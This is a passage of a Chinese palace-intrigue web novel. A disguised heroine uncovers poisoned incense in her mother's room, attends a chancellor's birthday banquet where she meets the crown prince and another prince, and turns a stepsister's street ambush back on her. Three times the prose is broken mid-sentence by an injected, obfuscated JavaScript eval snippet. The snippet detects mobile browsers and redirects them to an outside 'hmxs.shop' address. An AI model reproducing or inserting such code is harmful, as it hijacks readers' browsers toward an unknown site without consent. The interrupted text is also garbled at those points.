她缓了缓，接着道：“多年后，那富商得了咳疾，幼女便女扮男装，去了富商府中当了大夫。每次富商派人来取药方时，她都会悄悄加一些与药物相克的东西。久而久之，富高看着精神愈发好，内里气血却早被耗空，不过一年光景，那富商便七窍流血亡了。” 这话半真半假。 而传言中的幼女本就是她，只是那富商不是被下毒而死，是被她一剑一剑了结了性命。 此刻说出来，不过是换了个说法，好引宋夫人警惕。 宋夫人听得入神，指尖不自觉攥紧了绣帕，神色渐渐凝重，“那、那个幼女后来如何了？” “死了。”汀竹淡漠一笑。 宋夫人愣了一瞬，没再过问幼女的结局，只是轻叹着气：“这般遭遇，着实令人惋惜。”话音刚落，她话锋已转，眼角微微湿润，“只是你身为将军府的大小姐，怎可偷溜出府？万一再遇上次那般凶险，叫母亲如何是好？” 汀竹娇声哄道：“哎呀母亲，自从醒来后就在床塌上躺了半个月，实在府中烦闷，才拉着锁秋出府转了转，没半个时辰就回府了。您若是不信，问锁秋便是。” 宋夫人看向了一旁侍立的锁秋，锁求连忙鞠躬身回话说：“回夫人，小姐说的是实情，奴婢在府外没耽搁多久，便随小姐回来了。” “你啊……”宋夫人无奈摇头，眼底却是藏着疼惜，“自从上次那事后，仿佛像变了个人似的。母亲不怪你，只是怕……” “母亲若是不放心，不如让锁秋去学些武艺，亦是女儿自己学”汀竹趁机说道，“既可自保，日后也能护着母亲。” “这如何使得？”宋夫人眉头一撇，“女子无才便是德，且不说习武之事太过粗野，有失大家风范，就说这日日习练刻苦，你这身子如何习得？还是早早断了这念想吧。” 汀竹垂眉点头，莫不作声。此法宋夫人这边行不通，那就只好换个法子了。 随后又将话题扯回了药渣上。 宋夫人见状，就吩咐贴身丫鬟梓盼，“去找了今日都药渣取来，你拿去府中李大夫……”忽觉不妥又说“不，出府去望经街上，找几位有名的大夫瞧瞧，看看是否有不妥之处。” “若是遇到门口守卫询问，便说出府买些斋宝楼的点心即可。” 梓盼领命而去，汀竹陪着宋夫人在园中又赏了半个时辰，才一同回了宋夫人房间。 刚坐下没多久，梓盼边提着一盒点心，捧着药渣回来了，神色带着几分困惑，“回夫人，小姐，奴婢找了街上几位大夫，都仔细检查过了，并未发现有任何不妥，反倒是对症良药。” 汀竹起身，走到梓盼面前，低头看了两眼梓盼手里的药渣，确实是滋养肝肾，补气血都药材，并无半分问题。 可及如此，宋夫人的病却为何久不见好？她心中疑窦更甚，目光在屋内换换扫过了一番，也未发现任何异样。 忽然视线落在了床头不远处摆放的香炉上，炉底还残留着些许未燃尽的香粉。 她走上前，白皙的手指捻起香炉内那一点香粉，拾在鼻息间嗅了嗅。香气清雅绵长，却藏着一丝极淡的异味，若不细辨，根本不易察觉。 原来毒是下在了这。 “这香粉好特别，闻着清雅得很。”汀竹压下心底的惊涛，故作好奇，“女儿先前每次来母亲这里，总能闻见一股淡淡的清香，一直没好意思问。” 宋夫人拂了拂袖口，脸上露出几分真切的幸福，“这是你父亲多年前为我特制的安神香，每晚都会焚此香，才能睡得安稳。” “父亲……”汀竹一听诧异，脸上的笑容瞬间僵住，心头像是被重锤猛击，连呼吸都滞了一瞬。 她强压着反复的情绪，微微抿了抿唇，却很快稳住了神色，让人难以察觉出她心中的异样，于是放缓了语气，“母亲，这香虽好，只是女儿曾听大夫说，病人最需要新鲜的空气。您本来就身子弱，这香气日夜萦绕，拍是扰了药性，这病才久久不见好。” 宋夫人闻言，眼底浮现一丝犹豫。 她何尝没听过这话，可是每晚咳嗽难眠，唯有焚上此香，才能勉强睡上片刻，故而一直没放在心上。 “可若是无此香，母亲夜里着实难眠。”她轻声说到，语气带着几分无奈。 “母亲别急，女儿有个法子。”汀竹连忙说着，“女儿记得沁香园种有常春藤，那常春藤香味淡雅宜人，可助睡眠。” 宋夫人眼中闪过一丝诧异，“清禾是怎知常春藤有这功效？” “是先前在闺中书房翻书时，偶然翻阅了一本《本草拾遗》，在那上面看到的。”汀竹从容应答，眼底却藏着一丝不易察觉的锋芒。 那安神香既是宋将军所赠，此事想必没那么简单。 如此看来这宋将军倒不像是良人，汀竹着实不明白宋将军下此毒手的意图，难不成是为了独宠妾室？还是…… 正往深处思虑，宋夫人出声打断了汀的思路。 而宋夫人见汀竹如此盯着那香炉出神，以为是她不好意思向自己讨去宋将军赠的香粉，便出声道：“清禾要是喜欢这香粉，就都拿去吧。” 汀竹回过神，随即便装作一副羞涩模样，“谢过母亲。” * 次日。 宋将军处理完事物回府，便吩咐下人将汀竹叫到了正厅。 不用多想，汀竹便知提早叫她所行的目的，多半是为了明日赵老夫人的寿宴。 到了正厅，就见周姨娘母女坐在了右侧。 汀竹躬身向上座宋将军及左侧宋夫人行了个礼，就去了左侧入座。 宋将军说道：“明日是赵老夫人七十大寿。” “夫人的病未痊愈，故不能赴宴。那就只好是清禾跟莲溪随为父赴宴。” “清禾，为父知你素因容貌之事，鲜少参与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659325|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般贵胄宴集，只是此次宴饮，你需赴约。” 汀竹面上淡定回应，“好的，父亲。”心中想着香粉下毒之事，不免在心里冷哼一声，真是伪君子。 又看似和善的看了一眼对面笑容虚伪的周姨娘，她怕是要开口阻拦了。 果然不出她所料，周姨娘柔声开口：“老爷，明日宴会妾身特地为二位小姐准备了赴宴的衣裳。” 语毕又添了一句：“还特意为大小姐定制了面纱。” 说罢便示意贴身丫鬟去取。 汀竹闻言微怔，又望向了周姨娘，脸上淡然自若。 往日里可没这般热络，今晚倒反常得很。 疑惑之际，丫鬟们已将服饰端来。 周姨娘起身迎住，指尖从左至右拂过衣物，笑着解说着，“二小姐性子活泼，这桃粉色绸缎绢裙最衬托她，瞧着更明艳动人。” 接着指尖又停在了另一件衣物上，“大小姐素来温婉恬静，而这件天水碧锦缎裙，穿上正和大小姐的气度。” 最后，她的手指落在了最右侧托盘上分，声音愈发柔和，“这方月白轻纱，妾身特地找绣娘在上面绣了淡青色的鸢尾花。” “大小姐若是戴上它，旁人瞧不见别的，只当是这灵动的花儿缀在上面呢。” 宋将军捻着胡须颔首，目光扫过那两件衣裙，语气带着几分赞许：“你倒有心了，既合两位小姐的性子，料子也瞧着精致。” 周姨娘忙屈膝谢过，眼角的笑意又深了几分，却在转身时飞快地瞥了汀竹一眼，那眼神里藏着的得意，恰被汀竹捕捉得正着。 汀竹心下更疑。 这月白面纱绣鸢尾，看似贴心遮掩疤痕，可这般惹眼的绣活，若真戴去寿宴，岂不是反倒让旁人盯着脸面看？ 难道是在这绣活上做了手脚不成？ 正思忖间，周姨娘又笑道：“二位小姐去试试合不合身。” 话落间，宋婉谢过了，就让婢女端着衣服去了左侧间隔房换取。 见此情景，汀竹也起身谢过，便让锁秋端着衣服去了右侧间隔房。 步入室内，汀竹立马就仔细检查了衣物，发现并未有何不妥。 真是奇了怪。 不再疑虑，退去身上衣物，锁秋连忙替自己穿戴好。 “小姐，这件衣裙还蛮好看的，不过周姨娘怎会如此好心？会不会另有隐情？” 汀竹摇了摇头，“不知，想必会在明日宴会上出手。” 锁秋急虑着，“小姐，那我们该做何打算？” “见招拆招。” 少顷，俩人换好了衣服出了侧间隔房。 宋婉衣着那桃粉色绸缎绢裙，在正厅轻轻转了一圈，拉着周姨娘的手，脸上露出十分满意的笑容。 “姨娘，这裙子真是好看。再次谢谢姨娘。” “莲溪喜欢就好。”周姨娘眉眼带笑，又看向了一旁站着的汀竹，便问：“大小姐这衣裙还合身不？” 汀竹闻言轻点了一下头，勾着嘴角扯出一抹似笑非笑，“合身啊，真是有劳姨娘费如此心思了。” “尤其是这方月白面纱绣着的鸢尾花我很是喜欢。” 周姨娘脸上掩不住的喜色，“大小姐喜欢，便是妾身的福气。” 汀竹笑着回应，没在多言。 一旁静坐的宋母却眉目轻蹙，抬手朝汀竹招了招，示意她过来。汀竹走了几步就来到了宋母面前。 宋母细细打量了她身上的衣裙看了一番，这才轻轻舒了口气，松了心中疑虑。 她转头看向周姨娘，语气带着几分温和，“这次为赴赵老夫人的寿宴，多亏了妹妹费心筹备，若单靠我这副病恹恹的身子，怕是难把这些事料理妥当。” 周姨娘连忙起身欠了欠身，笑容愈发共顺，“夫人说的哪里话，照料府中事宜、为两位小姐筹备，本就是妾身该做的。您安心静养才是，莫为这些琐事劳心。” 宋夫人淡淡“嗯”了一声。 宋将军目光扫过俩人，语气郑重道：“此次宴上皆是朝中显贵，你们姐妹二人切记谨言慎行，万不可惹出半分事端。” “是，父亲。”汀竹/宋婉回道。 9. 赴宴 丞相府外。 昨夜细雨绵绵，府外的青石板路被雨水润得发亮。 汀竹扶着车辕下了马车，抬眼望向门楣上那块黑底鎏金的“丞相府”匾额，笔力遒劲，气派自生。 大门口屹立着的石狮子相比将军府勇猛凶悍的石狮子更显端庄威严。 门前小厮刚引着一位身着绯色官袍的贵胄阖家入内，转身见宋将军的马车停稳，忙快步上前，躬身行了个标准的揖礼，就带其进去。 跨进朱漆大门，入眼就是一方栽着太湖石的影壁，便见前方正厅前立着位中年男子。 那人身着紫色蟒袍，腰束玉带，面容虽带笑意，眉宇间却透着久居高位的威严，此刻正与方才那位贵官含笑寒暄。 宋将军见状，上前拱了拱手，“丞相。”随即身后的汀竹与宋婉躬身向赵丞相行了个礼。 赵丞相闻声转过头，目光在汀竹与宋婉身上略作停留，随即笑意更深，抬手虚扶了一下：“将军快请起。” 又看向身后二人，语气温和，“这两位，想必便是昭武的两位令爱吧？果然是兰质蕙心，气度不凡。” 接着宋将军侧身让了让，示意汀竹与宋婉上前见礼。 汀竹垂眸敛衽，与宋婉一同屈膝行了个万福，声音清浅却稳妥：“小女宋韫/宋婉，见过丞相。” 赵丞相目光再次落在二人身上，见汀竹衣着素色纹绣兰草的衣裙，面戴白纱却难掩眉宇间的沉静利落，宋婉裙裾绣着暗纹海棠，举止间透着娇憨却不失礼数。 便道：“好，好！将军教女有方，二位小姐既有大家闺秀的端庄，又各有灵气，真是难得。” 说着便侧身让开主位方向，“内厅已备上热茶，将军先去内厅候着，本相招待完宾客就来。” 赵丞相转头唤来个个伶俐小厮，吩咐道：“你将宋将军与二位小姐带去大厅。” 宋将军闻言，颔首应下，随即躬身拱了拱手，“有劳丞相费心了。”说完就带着身后二人随着小厮去了大厅。 在到了大厅后，宋将军去了同僚好友寒暄，去之前再次特地叮嘱二人，谨言慎行，切勿生事。 汀竹本想寻个僻静人少之地独自观览，不料被宋婉一把挽住臂弯，径直将她带到了众多城中贵女围坐相谈之处。 贵女们见她二人前来，皆收了声息，目光齐刷刷落在她二人身上。 宋婉率先向席间一位身着霁蓝暗纹罗裙的女子开口，“齐姐姐，几日未见，姐姐今日愈发容光焕发。便是这身霁蓝色罗裙，有不及姐姐美貌的万分之一。” 那被称作齐小姐的女子，闻言当即笑靥眉舒，语气也是温雅回赞，“妹妹今日这身打扮甚是明艳动人，恍若天仙下凡。” 说罢目光落就在了宋婉身侧的汀竹，轻声问道：“妹妹，这位是？” 不等汀竹自报家门，那齐小姐身后便有人替她回答，“齐姐姐，你还不知晓？” “这位便是京城赫赫有名的将军府嫡女，宋韫。” 语毕，周遭便响起来了细碎的嘀咕声—— “原来这就是传闻相貌丑陋的宋大小姐？” “每每有诸如此类的宴会都会以生病为由未推脱的宋大小姐？” “难怪，原来传闻是真的，相貌真被毁了。” “对就是与太子殿下有约的那位。” “真是可惜了，太子殿下文武双全、容貌俊朗，她面貌如此怎能与之相配？” …… 这些窃窃私语，一字不落细数落入了汀竹耳中。 是想借着这群贵女的面，当众羞辱她？ 啧，这般手段，也不过如此。 齐小姐听罢，故作惊讶，“哦？往日只知宋将军府有宋妹妹，竟不知道还有位大小姐，方才多有怠慢，还望宋小姐海涵。” 汀竹眉眼微弯，带着一抹浅淡的笑意，从容回道：“此事本是我自身体弱多病不喜应酬，与齐小姐无关，何谈怪罪。” “宋小姐这般通情达理，再好不过。”齐小姐颔首说道。 汀竹微微颔首，款步至旁侧空位，落了座。 这边宋婉却没停歇，仍在众贵女间周旋寒暄。汀竹向身侧的锁秋轻声问询方才那位齐小姐的身份。 锁秋忙压低声音回话：“小姐，方才那位是太傅府的嫡小姐齐湘玉。她是太傅膝下独女，素来备受疼爱，琴棋书画样样精通，尤其她那手书法，在京中贵女里更是拔得头筹。” 汀竹沉吟几秒，眸光微转，似带几分试探性的询问：“那依你看，你家小姐我琴棋书画相较旁人如何？” 锁秋闻言未生疑，了当开口“小姐的琴棋书画，在众多贵女之中算得中游水准，不过小姐你绣活极佳，寻常人难及。” 汀竹呆若木鸡，她不敢相信自己的耳朵，绣品极佳？ 她一个长年武剑之人，除了逃脱时会甩几根细的毒针，那女子绣活的细针，她还当真未碰过。 难办了，早知应先找绣娘学习针法了。 正当她木楞之际，锁秋又出言，语气有些纠结惋惜着，“不过小姐因掉崖双手受伤，恐怕连绣活都不济了。” 汀竹一听随即欣然舒展眉头，此事困扰便得以解决之法。 对啊，她可以手受伤为由，不过还是要寻机会学些基本绣法，绣不好与不会绣是两种区别。 “无碍，能活着乃万幸，此等绣活可后期还有练习的机会。”汀竹柔声安慰。 锁秋以为自家小姐心中苦楚，连话语都是自我安稳，瞬间眼角就泛起了红，甚是对汀竹心疼极了。 顷刻之间，宾客都已入厅候着，赵丞相刚到厅与众官员大人寒暄两句，转身便让下人去迎了赵老夫人。 赵老夫人刚入座上席，众宾客便送贺礼诵祝词。 重要宾客刚诵完祝词送完礼，还未等普通宾客送礼诵词，侍从在殿外轻声通传“太子殿下到！” 太子着素色锦纹常服，双手交叠于身前，面带温和目光直视主位赵老夫人，步伐沉稳，缓步走至殿中核心区域站定，全程不扫向入口方向。 待太子站姿稳定后，众人刚要鞠躬行礼，侍从下一秒又通传“端王殿下到”。 接着端王着同色系略简纹饰常服素色常服大步走进，入场时视线落在了大厅地面，行至太子侧后方约两步处站定，既不靠近也不远离，二人无任何眼神交汇。 众人连连鞠躬行礼，“参加太子殿下，端王殿下。” 面对上前见礼的官员，太子仅点头回应“免礼”，声音平稳无波澜，抬手扶了丞相手臂。 端王则在太子回应后象征性颔首，才轻声说“今日为老夫人贺寿，不必多礼”。 众人起身，不在相继谈笑，目光皆落在了身份尊贵的二位殿下身上。 汀竹站在女眷之中，她眸光深沉落在了斜对面那抹锦纹常身影上。 男子面如冠玉，眉峰挺立，一双凤眸狭长深邃，眼尾微挑时自带几分贵气，眸光常含一丝沉静的笑意，唇角极轻的弯着，似乎给人一种温和平易的感受。 这便是与宋韫有婚约的太子，萧琰。 确实是生有一副好皮囊，看似待人亲和温善，可那笑意暗藏他意，往往这般人物是最为危险的存在，碰不得，也交不得。 汀竹的目光又移向太子身侧，落在那背对着她的端王身上。恰在此时，端王似有所觉，微微侧过身来，目光不经意间扫向了汀竹这边。 她抬眼刚好便撞上端王的正脸，心头猛地一震，眼底掠过几分难掩的诧异。 眼前这人，竟与她前几日刺杀的“端王”判若两人！ 眼前的端王，与太子有三分眉眼相似，却无半分太子的温和之态。眉骨高挺，杏眼清亮。瞧着比太子多了几分洒脱自在，可那笑意未达眼底时，眉梢眼角又藏着几分掩不住的锐利机锋，也绝非平庸之辈。 汀竹心下暗忖。 那晚的“端王”究竟是谁？ 传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659326|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻中端王不擅武斗，可那晚那人却稳稳接下了她的招式。 看来，那晚消息有误，这皇族贵冑之中，藏的门道远比她想的要深。 随后太子抬手示意，身后侍从当即趋步上前，双手稳稳托着一方漆盘，盘内垫着朱红绒布，正中卧着一块莹白温润的和田玉牌。 玉牌配赤金镶红玛瑙挂绳，牌面光素无纹，刻着一个饱满的“寿”字，转至背面，刻着笔力浑厚的“忠勤传家”四字。 太子指尖轻点托盘边缘，目光先落向赵老夫人，语气温和却难掩贵气，余光又似不禁意间扫了一眼身侧的丞相。 缓缓道：“此乃‘忠勤传家’玉牌，是父皇亲笔临摹所刻，特赠予老夫人。愿老夫人福寿安康，也盼丞相日后能继续辅国安邦，不负朝堂与父皇所托。” 赵丞相连忙应话“定不负陛下所托。”后赵老夫人忙唤丫鬟上前搀扶，挣扎着要起身行大礼，太子见状当即抬手阻拦，声音又柔了几分：“老夫人身子重，不必多礼。” “即殿下有命，老身便僭越了。”赵老夫人欠身谢过，话刚说完。 太子身侧的的端王已含笑开口，语气带着几分自谦，却暗藏分寸：“太子皇兄所赠乃御赐之物，贵重非凡。小王身份不及皇兄，今日只略备了份薄礼，还望老夫人莫要嫌弃。” 说罢，端王就让身后的侍从托着上前，盘中是一座青铜南山仙鹤摆件。 青铜色泛着温润的包浆，山形古朴，仙鹤振翅欲飞，周身未刻一字祝福铭文。若细细端详，才见山岩处有几缕细微的冰裂痕，似乎是刻意为之。 端王抬手示意侍从将摆件递至近前，眼底拂过一丝深意，面上却挂着谦和笑容，朝着赵老夫人说道：“这‘南山献瑞’，是小王寻巧匠特意为老夫人打造。” “虽不及皇兄的玉佩贵重，缺也借此祝老夫人福寿绵长，日日顺心，安享天伦。” 赵老夫人望着那座青铜摆件，目光在那冰裂痕处稍作停留，随即露出温和笑意，由丫鬟扶着微微欠身，“端王殿下有心了，这‘南山献瑞’古朴典雅，老身瞧着满心欢喜，多谢殿下厚赠。” 接着又一侍从携礼前来。 那侍从身着玄色劲装，双手托着一方乌木托盘，盘中覆着深青锦缎掀开时，露出一颗拳头大小的夜明珠静静卧在中央，珠身无一丝瑕疵，光晕流转间，竟能隐约映出人影 侍从先是拜见了俩位殿下，又拜了赵丞相，接着拜赵老夫人，又躬身向上递了一封烫金信封，朗声道：“我家王爷本欲亲来为老夫人贺寿，怎奈近日感染风寒，实在无法移步，特命小的送来此礼。” “王爷还说，此夜明珠乃西域商队所献，据说置于帐中，夜读无需燃灯；若缀于帐檐，更能驱湿避秽。殿下特意让人寻来，祝老夫人夜里安寝无扰，福寿绵长如这珠光，岁岁明亮。” 赵老夫人接过信封，视线落在那夜明珠上，笑着对侍从道：“有劳宸王殿下费心，也替老身谢过王爷。烦请转告王爷，务必好生休养，待身子好些了，再到府中一坐。” 侍从应下后，便又向几人鞠躬离去。 太子指尖捻着玉扳指，目光扫过那夜明珠，语气带着几分惋惜道：“今日原是盼着宸王弟也来为老夫人添贺，怎料他素来体弱，如今又感了风寒，终究是未能赴宴，倒失了几分热闹。” 随后赵丞相示意管家收下礼物，又转向太子与端王，“二位殿下肯拨冗亲临，已是给足了老母颜面。” “今日这寿宴，有二位殿下肯赏光，便算圆满了，不如随本相移步席前，先品杯薄酒？” 太子微微颔首，率先迈步向客座走去，端王紧随其后，只是走过丞相身侧时，脚步微顿，低声说了一句。 “丞相府的寿宴，倒比宫中宴席多了几分烟火气。” 丞相闻言一笑，并未接话，只作势引着众人向席前走去，殿内的笑声伴着窗外的丝组声，又热闹了几分，只是那热闹之下，几分暗流仍在悄然涌动。 10. 太子 酒过三巡，琥珀盏中残酒尚余温，案上玉箸已歇，下人们轻手轻脚撤去鎏金食器，只留几碟蜜饯鲜果待客。 赵丞相执玉扳指轻叩桌面，朗笑起身：“今日良辰，后院新排了出戏，诸位随本相移步赏玩一番？” 众人纷纷应和，随丞相穿朱漆回廊、过月洞门，入了后花园。 园中风送花香，青砖铺就的路径绕着半池残荷，尽头处修了一座戏台。 下人早将乌木座椅按品级排开，案上奉了新沏的雨前龙井。 众人刚落座，霎那间戏台两侧乐棚里丝竹骤起，笛音清亮如流泉，琵琶婉转似莺啼，羯鼓轻敲，节拍徐徐。 不多时，台幔从两侧缓缓拉开，先有四个身着浅粉宫装的侍女，执纱灯碎步而出，绕台一周，将台上火烛拨得更亮。 紧接着，一阵环佩叮当，主角麻姑款步登场。 她头梳飞天髻，插着点翠步摇，外罩月白纱衣，内衬绯红绣寿桃纹样的锦裙，腰间系着金丝软带，垂着几颗明珠，走动时珠玉轻响，宛若仙人。 “瑶池领了圣母命，回身取过酒一樽——”麻姑启唇唱道，嗓音清越如裂帛，伴着乐声抬袖起舞。 水袖翻飞间，时而如白鹤展翅，时而似流云舒卷。 待唱到“霎时琼浆都倾尽，愿年年如此日不老长生”时，身后突然涌出身着五彩衣的仙童，各捧寿桃、灵芝、玉液，绕着麻姑摆出“福寿绵长”的阵型。 引得台下宾客纷纷抚掌，赵老夫人更是笑得眉眼舒展。 戏尽后，众人纷纷向赵丞相、赵老夫人辞行，一时间丞相府前渐动。 汀竹伴宋婉，随着宋将军往外走去。 行至丞相府的朱漆大门下，汀竹忽然停住，侧身向宋将军福了福身，喊住了宋将军。 “父亲，前几日见母亲茶饭不香、胃口难开，儿今日来时，恰闻临街九味斋的小二高声吆喝，说新制了几样清甜点心。” “女儿想着母亲许是爱吃，想往那边走一趟，还望父亲允准。” 宋将军颔首，目光先落在汀竹面上，又淡淡看了身侧的宋婉一眼。 宋婉见状，忙上前半步，软声禀道：“父亲，女儿也想随姐姐一同去。” 宋将军屡了屡胡须，片刻沉声，“既如此，便与你姐姐一同去，切勿贪玩，早去早归，莫要在外耽搁了。” 话落，宋将军先乘马车离去。 宋婉缓步走至汀竹面前，唇畔含着一丝邪魅，语调散漫，“姐姐不会厌恶妹妹，同姐姐一道吧？” 汀竹眼尾微眯，指尖漫不经心的理了理脸颊上的面纱，“怎会？妹妹愿同姐姐亲近，姐姐高兴还来不及呢。” “那就走吧，莫要耽误了。”说完，宋婉便朝门口停留等候的马车去了。 马车内—— 锁秋为此打抱不平，“小姐，那二小姐明显就是故意的！” 任凭锁秋如何气愤，汀竹闻言不语。 她沉着冷静思考着今日宴会，除去言语上对她容貌上的侮辱，倒也没出现什么污蔑陷害，着实让汀竹感到是在她意料之外的事。 这会锁秋见汀竹垂眸，漂亮的柳叶眉紧皱着，用手在汀竹面前挥了挥。 汀竹回过神，一脸疑惑的看着锁秋，柔声询问：“怎么了锁秋？” 锁秋摇了摇脑袋，语气闷闷的，“无事小姐，就是奴婢絮叨这许多，小姐却未置一词。” 汀竹听完眉目瞬间舒展，唇角当即就绽开了一抹笑容，“你这番话在理，我瞧着没错。” 见锁秋小脸嘟囔，汀竹来了兴致挑逗，就双手向前伸去，手指轻捏了捏她的脸蛋上的嫩肉，“锁秋你怎会如此讨喜呢！” “小姐……”锁秋小脸一撇，立马就羞涩起来。 汀竹见此情景，嘴角的笑容更灿烂了。 面上虽轻松愉悦，实则心中还在暗自盘算。 她本意是想寻借买点心之由，买些药材制毒以备不时之需。 看来此事需要另找机会了。 一刻之后，马夫轻唤示意：“大小姐，九味斋到了。”，就将马车停至一家商铺门前。 锁秋就先一步起身走出至马车下，左手轻轻掀起了车帘，汀竹提着裙摆缓缓躬身走至车辕处，锁秋用右手伸着扶着她下马车。 后面马夫见前面马车停下，便勒住缰绳，讲马车停稳。 宋婉眸色一动，忙唤贴身丫鬟：“云袖，快扶我下车，仔细别叫人走脱了。”语罢便急着掀开车帘，脚下半分不敢耽搁。 汀竹闻声回头，见宋婉已下了车，正朝自己这边快步赶来，眉头不由又蹙紧几分，心底满是疑窦。 “不知所谓。”她轻嗤一声，转身便携着锁秋，径直往九味斋里去了。宋婉见状，也连忙紧随其后。 二人刚一进门，店小二便满面堆笑地迎了上来，拱手道：“二位贵客里边请！小店今日新添了好些菜式，不知贵客想点些什么？” 汀竹抬眸问道：“你家可有开胃的点心？” 店小二忙不迭点头：“有有有！回贵客的话，小店的八珍糕、山楂糕、胡荽饼，还有那茯苓夹饼，都是顶好的开胃小食，客官要不要尝尝？” 汀竹未作半分犹豫，朗声道：“每样各来一份，劳烦送至将军府。” 锁秋闻言，当即从袖中取出银子，递与店小二。店小二双手接过银子，脸上笑意更浓，躬着身应道：“好嘞！小的这就去前厅吩咐，定给客官备好！”说罢便转身快步去了。 宋婉这时才上前，轻声问道：“姐姐买这么多点心，嫡母一个人吃得完吗？” 汀竹唇边勾起一抹浅淡的笑意，语气温和却带着几分疏离：“并非只给嫡母买的，父亲与姨娘以及妹妹，也各备了一份。” “妹妹莫不是不喜欢这些吃食？” 宋婉听了这话，脸上先是掠过一丝怔忡，随即又堆起柔婉笑意，伸手想去碰汀竹的衣袖：“怎会不喜欢？姐姐心思竟这般细，连姨娘都顾着，倒是我想浅了。” 汀竹不着痕迹地侧身避开，指尖轻轻拂过袖口，语气平淡：“都是一家人，何必两家事，只是些许吃食罢了，不必挂怀。” “姐姐说的是。”宋婉垂在身侧的手悄然攥紧，声音压得极低，带着几分不易察觉的咬牙切齿。 若不是在这街市之上，需维持着平日温婉和善的模样，她早已忍不住要与宋韫辩上几句，哪里还会这般忍气吞声。 更何况，她今日紧随其后，本就是遵了娘的吩咐，要瞧瞧宋韫是真的忘了过往旧事，还是故意装糊涂。 从前的宋韫，性子内敛怯懦，见了她连话都不敢多说一句。可如今的宋韫，瞧着模样未变，骨子里却多了几分傲气，言语间更是半点不落下风。 宋婉心中笃定，宋韫定是那日摔坏了脑袋，不然怎会突然变得这般伶牙俐齿，与往日判若两人。 汀竹不再接话，便抬眼望向店外，似在留意马车动向，显然不想与宋婉多说。 锁秋站在一旁，看见宋婉吃瘪的样子，表面平静如水，心里早已乐开了花。 这还是她第一次见二小姐这幅模样，就等着店小二将点心包好。 不多时，便见店小二领着两个伙计，捧着四个精致的食盒出来，每只食盒外都裹着印了“九味斋”字样的青布，系着红绳，看着格外规整。 “贵客，您要的点心都备好了，这就差人给将军府送去？”店小二弓着腰，语气恭敬。 汀竹点头：“劳烦了，报‘宋大小姐’的名头便可。”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659327|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢，便对锁秋道：“我们走吧。” 二人转身出了九味斋，宋婉忙携着自己的丫鬟快步跟上，半点不肯落后。 行至街面，宋婉瞥见前方有家金银首饰铺，便拉着云袖往铺子方向去查看样式，汀竹与锁秋则继续往前走。 才走了没几步，身后不远处忽传来一声厉喝：“前方人等，速离正街！” 话音未落，原本喧闹的街人霎时慌乱起来，纷纷往道路两侧避让。 不过片刻，中间街道便空得宽敞通畅。 汀竹闻声回头，尚未看清来者，身子忽被人猛撞了一下，脚步踉跄着便要往街心倒去，脸上一凉，面纱随着身型不稳，也不知飘至何处。 周遭的喧闹瞬间静了大半，汀竹余光瞥见身后疾驰而来的快马，心头一紧，手下意识抓住撞她之人的衣袖，借力一扯。 两人身形交错，瞬间换了位置。 “噗通”一声，那人直直摔在街心，人群中当即发出一声惊呼：“小姐！” 与此同时，马上车夫急勒缰绳，口中厉声疾呼：“吁——！”马儿吃痛长嘶，前蹄猛地腾空扬起，堪堪在距那人半尺处停住。 再看那摔在地上的，正是方才撞人的宋婉。她脸色惨白，眼泪早涌了出来，身子抖得如同筛糠，连起身的力气都没了。 马身落定，车内传来一声“方才是怎么回事？”。 车夫回道，“回殿下，是宋将军府的人受了惊吓，摔在了前面的路。” 随后，车内的人掀开车帘，目光先扫过街心的宋婉，随即落在一旁立着的汀竹身上，眉峰微蹙。 宋婉见是太子，忙撑着丫鬟的手起身，顾不得拍去裙摆尘土，屈膝行礼时声音还带着哭腔。 “臣女……臣女不慎撞了姐姐，反倒自己摔了，惊扰殿下，还望殿下恕罪。”说罢，偷偷抬眼瞧太子神色，眼底藏着几分刻意流露的委屈。 汀竹上前一步，敛衽行礼，语气平静无波：“回殿下，方才街人避让仪仗，臣女受到惊慌，下意识之为，并非有意推搡。” 她话音刚落，锁秋也在旁轻声补充：“回殿下，奴婢看得真切，我家小姐并非有意为之。” 太子目光在二人之间转了一圈，落在汀竹坦然的神色上，又瞥了眼宋婉衣襟上明显的尘土与刻意挤出的泪痕，淡淡开口： “既是意外，便不必多究。只是街市之上，还需谨慎行走，莫要再惊扰路人。” 说罢，对身后侍从吩咐，“送宋二小姐回府，再将此处秩序理一理。” 宋婉闻言，虽没得到预期的怜惜，却也不敢再多说，只能谢过太子，被丫鬟扶着慢慢退开。 萧琰再看向汀竹时，语气稍缓：“宋大小姐无碍？” “谢殿下关心，臣女无碍。”汀竹垂眸应道。 太子微微颔首，没再多言。目光又细细盯了几眼汀竹那脸颊上的疤痕，眸光幽深不知何种情绪，便放下了车帘，车夫就重新驾马驶去，不多时便消失在街尾。 